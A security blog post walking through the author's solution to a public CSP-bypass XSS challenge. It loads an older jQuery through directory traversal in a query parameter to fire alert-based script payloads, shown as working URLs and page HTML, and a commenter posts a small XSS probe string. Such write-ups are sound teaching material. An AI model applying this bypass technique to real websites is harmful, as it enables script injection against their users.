Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I completed a fun CSP bypass recently and wanted to share my solution.
Itszsn tweeted out a CSP bypass challenge, and I wanted to see if I could solve it.
If you are not familiar with CSP, then I recommend you check out this page.
That said, the tl;dr is that content security policy is an extra layer of defense to protect against attacks like cross-site scripting.
For another good example of a bypass, check out this Portswigger post.
I haven’t run across a lot of situations that I could bypass CSP before, so this was
The vulnerable application was found at http://csp.xss.stackchk.fail/, which would immediately redirect to http://csp.xss.stackchk.fail/?min.#Guest.
You can find the HTML for the page below, although there is nothing interesting other than the CSP header.
<html> <head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com"> <link href="/style.css" rel="stylesheet"> </head> <body> <div id="content"> </div> <div> <p> Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck! </div> <script src="app.js"></script> </body> </html>
The app.js file had the actual injection point, which looked to be the name variable.
function load_script(url) { return new Promise(resolve => { let s = document.createElement('script'); s.src = url; s.async = true; s.onload = resolve; document.head.append(s) }); } if (location.search == "") { location = "/?min.#Guest"; } let min = location.search.slice(1); let url = `https://code.jquery.com/jquery-3.4.1.${min}js`; load_script(url).then(()=>{ let name = decodeURIComponent(location.hash.slice(1)); let content = $(`<h1>Hello ${name}</h1>`); $('#content').append(content); });
First, I modified the URL, to verify that content was changing as expected.
http://csp.xss.stackchk.fail/?min.#Testing
Hello Testing
Next, I tried a basic XSS payload, to see if the CSP would block it.
http://csp.xss.stackchk.fail/?min.#%3Cscript%3Ealert(1)%3C/script%3E
After reading this post, I decided to try an iframe to bypass the policy.
> frame=document.createElement("iframe"); frame.src="/style.css"; document.body.appendChild(frame);
As there was no frame-src in the directive, the default-src policy blocked this.
Refused to frame 'http://csp.xss.stackchk.fail/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'frame-src' was not explicitly set, so 'default-src' is used as a fallback.
After looking at the JavaScript file again, I realized that I could import a different file from https://code.jquery.com via the min parameter.
In this case, I was able to import the jQuery 1.10.2 library via directory traversal.
http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#Testing
Using this older jQuery library, I bypassed the CSP and got my XSS payload to fire!
http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#%3Cscript%3Ealert(document.domain)%3C/script%3E
You can find the HTML for the exploited page below.
<html><head> <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com"> <link href="/style.css" rel="stylesheet"> <script src="https://code.jquery.com/jquery-3.4.1./../../jquery-1.10.2.js" async=""></script></head> <body style=""> <div id="content"> <h1>Hello <script>alert(document.domain)</script></h1></div> <div> <p> Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck! </p></div> <script src="app.js"></script> </body></html>
The reason for this bypass was the parseHTML method of the older jQuery library. For more information, you can check out the following issues.
As you can see, the alert made it to the vulnerable parseHTML method, bypassing the CSP.
This was a fun challenge, and I was surprised when I solved it so quickly.
I haven’t had a case where I could exploit the parseHTML method before, so it was good to see it in action.
While I did not use it during this challenge, I thought about the older library because of Retire.js.
Let me know if you run across any other XSS challenges or filters that I should look at!
I also have a post coming for the most recent Intigriti XSS challenge, so stay tuned for that as well.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
[…] https://www.doyler.net/security-not-included/csp-bypass-via-jquery […]
‘`”>javascript:alert(1)
Haha, you’ll have to try a little harder than that.